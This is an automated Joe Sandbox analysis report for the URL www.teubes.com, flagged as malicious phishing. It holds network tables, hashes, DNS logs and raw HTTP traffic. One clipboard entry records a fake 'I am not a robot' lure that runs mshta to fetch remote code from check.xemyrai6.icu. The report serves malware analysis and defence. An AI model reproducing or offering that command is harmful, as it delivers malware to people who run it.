142.250.185.193	photos-ugc.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
142.250.185.174	unknown	United States	15169	GOOGLEUS	false
188.114.96.3	check.xemyrai6.icu	European Union	13335	CLOUDFLARENETUS	true
142.250.184.214	unknown	United States	15169	GOOGLEUS	false
77.88.21.119	unknown	Russian Federation	13238	YANDEXRU	false
142.250.185.70	static.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.186.66	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
137.187.172.126	oamp.od.nih.gov	United States	3527	NIH-NETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640560
Start date and time:	2025-03-17 13:01:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://www.teubes.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@32/145@58/24
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): sppsvc.exe, SIHClient.exe, SgrmBroker.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 74.125.71.84, 172.217.18.99, 216.58.212.138, 142.250.185.67, 142.250.181.234, 142.250.185.234, 142.250.186.106, 142.250.185.170, 142.250.186.74, 142.250.185.202, 142.250.186.170, 142.250.184.234, 142.250.185.74, 172.217.18.10, 142.250.185.138, 142.250.185.106, 142.250.184.202, 216.58.206.74, 142.250.186.138, 142.250.186.42, 172.217.16.138, 172.217.16.202, 216.58.212.170, 172.217.23.106, 216.58.206.42, 142.250.185.227, 20.109.210.53, 217.20.57.34, 40.69.42.241, 13.95.31.18, 142.250.74.195, 172.217.16.195, 142.250.185.206, 216.58.206.46, 172.217.18.14, 172.217.16.142, 142.250.186.78, 142.250.185.110, 23.199.214.10
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, dns.msftncsi.com, clients2.google.com, redirector.gvt1.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, c.pki.goog, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, ctldl.windowsupdate.com, jnn-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
Execution Graph export aborted for target mshta.exe, PID 6208 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://www.teubes.com

Simulations

Behavior and APIs

Time	Type	Description
13:02:47	Clipboard	Run: mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - Verification ID:863585''

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (568)
Category:	downloaded
Size (bytes):	2551747
Entropy (8bit):	5.693233415136278
Encrypted:	false
SSDEEP:	24576:6H8wDd0FYt6JWLxRllTqAKxqBvPt/HKVEBcX+cy8Eid1W2PIXwya/wkrOHu:Ytd0mZl9BvPtfKGFcy8Eid1WuaHu
MD5:	A3F2B967600396D754CAE07EEC1F27A7
SHA1:	51F1E2FB458A8896A18E2378DF1E1CA0EF96EEB2
SHA-256:	78DABE85E563209EA231BE4BDF5C57AACF61C6D6F11E6A1CE8D28AD04A6CFB60
SHA-512:	DB516FD3940A9006916A087DEA9E6610AAC1742F327A7DEEF4A1796C3E79DC44EF89EF4E3D6AA983CD4D61CA2F2EE326FB8102B81748FE854369C38F30B6CD3E
Malicious:	false
Reputation:	low
URL:	https://www.youtube.com/s/player/6b3caec8/player_ias.vflset/en_US/base.js
Preview:	var _yt_player={};(function(g){var window=this;/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC All Rights Reserved... Use of this source code is governed by an MIT-style license that can be. found in the LICENSE file at https://angular.dev/license././*.. (The MIT License).. Copyright (C) 2014 by Vitaly Puzrin.. Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 13:02:17.090598106 CET	53	53503	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:17.099492073 CET	53	52000	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:18.188689947 CET	53	55785	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:19.062959909 CET	53	57209	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:21.654882908 CET	58764	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:21.655113935 CET	60536	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:21.662321091 CET	53	60536	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:21.662345886 CET	53	58764	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:23.020498991 CET	50955	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:23.020742893 CET	58194	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:23.035248995 CET	64186	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:23.035516024 CET	53347	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:23.400923967 CET	53	58194	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:23.402993917 CET	53	53347	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:23.417009115 CET	53	50955	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:23.435861111 CET	53	64186	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:25.221813917 CET	53	54697	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:27.931073904 CET	62393	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:27.931267023 CET	63904	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:28.301949024 CET	53	63904	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:28.303766966 CET	53	62393	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:28.663381100 CET	54523	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:28.663554907 CET	61556	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:28.671078920 CET	53	61556	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:28.697880030 CET	53	54523	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:28.704679012 CET	60801	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:28.704802036 CET	50166	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:28.711745024 CET	53	50166	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:28.711787939 CET	53	60801	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:29.922317982 CET	62893	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.922482014 CET	51004	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.929001093 CET	53	62893	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:29.930676937 CET	53	51004	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:29.981225014 CET	59503	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.982505083 CET	49552	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.986597061 CET	58594	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.986762047 CET	58491	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:29.990365982 CET	53	59503	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:29.990390062 CET	53	49552	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:30.015968084 CET	53	58491	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:30.016654968 CET	53	58594	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:30.666892052 CET	52117	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:30.667045116 CET	55332	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:30.854017019 CET	53	55332	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:31.045399904 CET	53	52117	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:31.785573959 CET	49459	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:31.785700083 CET	61639	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:31.786108017 CET	57629	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:31.786499023 CET	61418	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:31.792354107 CET	53	61639	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:31.792608023 CET	53	49459	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:31.792618990 CET	53	57629	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:31.793106079 CET	53	61418	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:32.800367117 CET	53	54447	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:32.892930031 CET	65091	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:32.893616915 CET	56428	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:32.899708986 CET	53	65091	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:32.900397062 CET	53	56428	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.383711100 CET	56098	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.383922100 CET	60684	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.389978886 CET	54284	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.390419006 CET	53587	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.390995026 CET	53	60684	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.391009092 CET	53	56098	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.397156954 CET	53	54284	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.398360014 CET	53	53587	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.487961054 CET	54756	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.488138914 CET	51090	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.494416952 CET	53	54756	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.494631052 CET	53	51090	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.597577095 CET	53	59625	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.683151007 CET	52111	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.683321953 CET	58618	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.684252977 CET	57503	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.684549093 CET	52004	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.690315008 CET	53	58618	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.690510035 CET	53	52111	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.691081047 CET	53	57503	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.691497087 CET	53	52004	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.702085018 CET	63084	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.702452898 CET	54125	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:33.708870888 CET	53	63084	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:33.709096909 CET	53	54125	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.033103943 CET	57808	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.033273935 CET	51156	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.040066004 CET	53	51156	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.040165901 CET	53	57808	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.298177958 CET	63003	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.298449993 CET	60287	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.299145937 CET	57451	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.299420118 CET	50051	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:34.305124998 CET	53	63003	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.305177927 CET	53	60287	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.305876970 CET	53	57451	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:34.306030035 CET	53	50051	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:35.215562105 CET	53	54864	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:35.289477110 CET	64123	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:35.291059017 CET	59844	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:35.296781063 CET	53	64123	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:35.297851086 CET	53	59844	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:36.116919994 CET	53	53496	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.862251043 CET	60585	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.862790108 CET	50512	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.865281105 CET	51148	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.865505934 CET	50313	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.867664099 CET	64421	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.868007898 CET	65299	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:41.869294882 CET	53	60585	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.869492054 CET	53	50512	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.872020006 CET	53	51148	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.872519970 CET	53	50313	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.874582052 CET	53	65299	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:41.874938965 CET	53	64421	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:42.043343067 CET	53	50777	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:43.569072962 CET	56236	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:43.569277048 CET	59633	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:43.575722933 CET	53	59633	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:43.575737953 CET	53	56236	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:50.206445932 CET	54901	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:50.215867043 CET	53	54901	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:51.625483036 CET	51392	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:52.086005926 CET	53	51392	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:53.266042948 CET	55194	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:53.269748926 CET	60349	53	192.168.2.7	1.1.1.1
Mar 17, 2025 13:02:53.272809029 CET	53	55194	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:53.277745008 CET	53	60349	1.1.1.1	192.168.2.7
Mar 17, 2025 13:02:55.632893085 CET	53	62069	1.1.1.1	192.168.2.7
Mar 17, 2025 13:03:16.956962109 CET	53	49830	1.1.1.1	192.168.2.7
Mar 17, 2025 13:03:18.179941893 CET	53	49325	1.1.1.1	192.168.2.7
Mar 17, 2025 13:03:20.481276035 CET	53	53436	1.1.1.1	192.168.2.7

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:24 UTC	579	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMnczgEIrd7OAQiE4M4BCKLkzgEIr+TOAQjp5M4B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:24 UTC	1303	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-g0j4Nw3edHei_EU1Ju4pzw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-17 12:02:24 UTC	87	IN	Data Raw: 31 37 61 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 77 62 6f 79 73 20 71 75 61 72 74 65 72 62 61 63 6b 22 2c 22 77 6f 72 64 6c 65 20 74 6f 64 61 79 20 6d 61 72 63 68 20 31 37 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 74 6f 72 6e 61 64 6f 65 73 Data Ascii: 17a1)]}'["",["cowboys quarterback","wordle today march 17","weather storms tornadoes
2025-03-17 12:02:24 UTC	1390	IN	Data Raw: 20 74 6f 64 61 79 22 2c 22 6c 65 61 6b 20 72 65 76 65 61 6c 73 20 72 75 73 73 69 61 20 62 69 74 63 6f 69 6e 22 2c 22 61 73 73 61 73 73 69 6e 20 63 72 65 65 64 20 73 68 61 64 6f 77 73 22 2c 22 62 69 67 20 62 65 61 72 20 62 61 6c 64 20 65 61 67 6c 65 73 20 6a 61 63 6b 69 65 20 61 6e 64 20 73 68 61 64 6f 77 22 2c 22 68 6f 75 73 74 6f 6e 20 74 65 78 61 6e 73 22 2c 22 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 20 73 70 61 63 65 78 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 6f 49 6b 6b 34 53 46 51 6f Data Ascii: today","leak reveals russia bitcoin","assassin creed shadows","big bear bald eagles jackie and shadow","houston texans","nasa astronauts spacex"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQo
2025-03-17 12:02:24 UTC	1390	IN	Data Raw: 54 48 5a 58 5a 7a 68 56 56 55 46 76 51 6c 46 44 5a 30 5a 42 56 6b 64 54 64 47 51 35 4e 44 5a 61 61 55 6f 7a 5a 31 64 57 51 57 56 6c 54 30 35 73 65 55 5a 6d 61 30 67 72 62 7a 4d 34 64 32 46 76 5a 6d 5a 78 4d 6a 52 4d 4d 56 42 57 5a 32 78 6f 63 30 4d 31 4c 30 5a 56 65 56 67 33 56 6e 49 34 4f 55 39 6f 63 48 56 34 54 6d 63 30 4b 32 68 59 54 45 64 74 52 6d 51 77 51 30 6b 72 63 6e 4e 45 62 79 39 4a 56 44 55 33 52 44 42 4f 59 32 77 7a 53 33 46 73 64 32 56 53 54 32 67 72 53 6e 64 46 63 56 68 34 56 53 73 34 64 57 35 49 4d 30 78 77 56 32 63 34 59 31 56 42 62 30 4a 52 51 32 64 4c 52 48 68 30 65 44 46 6a 54 30 68 4d 62 33 56 44 4d 57 49 79 57 45 46 30 62 30 39 4e 64 6b 39 4c 53 55 63 72 4d 30 77 35 56 30 51 30 61 58 4d 78 56 33 5a 4c 52 58 4a 4b 53 48 55 33 54 6a 4a Data Ascii: THZXZzhVVUFvQlFDZ0ZBVkdTdGQ5NDZaaUozZ1dWQWVlT05seUZma0grbzM4d2FvZmZxMjRMMVBWZ2xoc0M1L0ZVeVg3VnI4OU9ocHV4Tmc0K2hYTEdtRmQwQ0krcnNEby9JVDU3RDBOY2wzS3Fsd2VST2grSndFcVh4VSs4dW5IM0xwV2c4Y1VBb0JRQ2dLRHh0eDFjT0hMb3VDMWIyWEF0b09Ndk9LSUcrM0w5V0Q0aXMxV3ZLRXJKSHU3TjJ
2025-03-17 12:02:24 UTC	1390	IN	Data Raw: 46 56 51 6c 67 31 56 6e 4e 74 54 30 31 59 4d 55 78 55 59 57 4e 36 52 30 5a 77 59 54 46 46 57 6b 74 35 62 46 46 48 52 6b 52 6d 56 48 6c 50 52 48 56 44 56 47 70 69 52 6c 5a 31 54 44 63 7a 54 54 4e 56 4e 6a 46 4f 55 33 42 4f 4c 30 4d 34 4b 32 77 78 64 7a 68 6c 62 58 46 30 65 45 39 73 62 55 68 4c 57 57 78 55 57 47 31 34 62 46 52 71 52 46 4e 48 62 45 73 77 4e 55 4e 6f 63 58 70 7a 54 57 4a 45 53 54 67 34 56 6a 4a 36 56 47 4a 4c 63 46 5a 4a 55 32 68 48 54 44 52 4f 4d 79 74 6f 62 32 4a 30 63 32 78 31 4d 58 67 30 56 47 70 5a 5a 6b 56 58 56 57 35 76 65 56 5a 42 4e 6d 31 56 63 58 6c 50 57 6a 55 32 5a 58 4a 31 5a 44 68 61 4e 32 45 31 64 58 5a 6b 63 31 52 6b 59 55 52 78 64 57 46 35 64 58 5a 79 4c 33 56 61 4f 45 5a 79 61 33 52 30 55 57 6b 30 61 31 42 4f 63 31 4e 59 57 Data Ascii: FVQlg1VnNtT01YMUxUYWN6R0ZwYTFFWkt5bFFHRkRmVHlPRHVDVGpiRlZ1TDczTTNVNjFOU3BOL0M4K2wxdzhlbXF0eE9sbUhLWWxUWG14bFRqRFNHbEswNUNocXpzTWJESTg4VjJ6VGJLcFZJU2hHTDROMytob2J0c2x1MXg0VGpZZkVXVW5veVZBNm1VcXlPWjU2ZXJ1ZDhaN2E1dXZkc1RkYURxdWF5dXZyL3VaOEZya3R0UWk0a1BOc1NYW
2025-03-17 12:02:24 UTC	1390	IN	Data Raw: 7a 51 35 4c 30 6c 47 4b 7a 56 6a 54 6a 49 30 4b 32 39 77 5a 6b 70 52 53 6a 4e 4e 54 55 68 70 63 47 64 4c 4e 6b 45 77 4d 32 70 35 53 45 74 4c 62 30 4a 78 4f 45 70 6a 51 32 39 73 53 6d 70 44 57 57 52 71 57 56 56 4d 54 45 4a 4c 51 54 64 79 64 6b 68 4c 61 57 5a 45 51 32 70 59 64 48 56 55 5a 30 64 6b 59 54 56 35 51 32 6c 55 54 6d 51 31 4e 47 46 43 51 33 5a 4e 53 33 46 4e 57 6c 64 6d 64 6c 4e 6b 56 6c 52 68 53 7a 68 71 56 31 46 33 4e 6b 4a 57 54 7a 4e 72 4d 45 4a 6c 63 32 68 48 4e 44 56 68 62 6b 46 4d 63 31 42 47 59 33 56 33 61 45 31 46 59 7a 56 4c 54 7a 64 47 64 31 4e 46 61 58 55 78 56 31 6c 56 56 47 6f 78 5a 31 46 79 52 55 30 32 57 45 39 78 64 32 64 4b 59 6a 42 5a 65 44 49 79 53 6c 4a 43 57 54 67 32 64 30 6c 31 59 57 64 6e 65 58 45 7a 64 54 6c 33 53 31 52 51 Data Ascii: zQ5L0lGKzVjTjI0K29wZkpRSjNNTUhpcGdLNkEwM2p5SEtLb0JxOEpjQ29sSmpDWWRqWVVMTEJLQTdydkhLaWZEQ2pYdHVUZ0dkYTV5Q2lUTmQ1NGFCQ3ZNS3FNWldmdlNkVlRhSzhqV1F3NkJWTzNrMEJlc2hHNDVhbkFMc1BGY3V3aE1FYzVLTzdGd1NFaXUxV1lVVGoxZ1FyRU02WE9xd2dKYjBZeDIySlJCWTg2d0l1YWdneXEzdTl3S1RQ
2025-03-17 12:02:24 UTC	410	IN	Data Raw: 74 64 46 4e 4e 64 33 4a 43 5a 30 4a 30 54 56 46 71 5a 48 41 48 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 22 34 31 32 30 35 38 32 33 37 36 32 32 38 32 37 37 38 37 34 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 Data Ascii: tdFNNd3JCZ0J0TVFqZHAH","zl":10002},{"zl":10002}],"google:suggesteventid":"4120582376228277874","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3
2025-03-17 12:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:24 UTC	664	OUT	GET / HTTP/1.1 Host: www.teubes.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
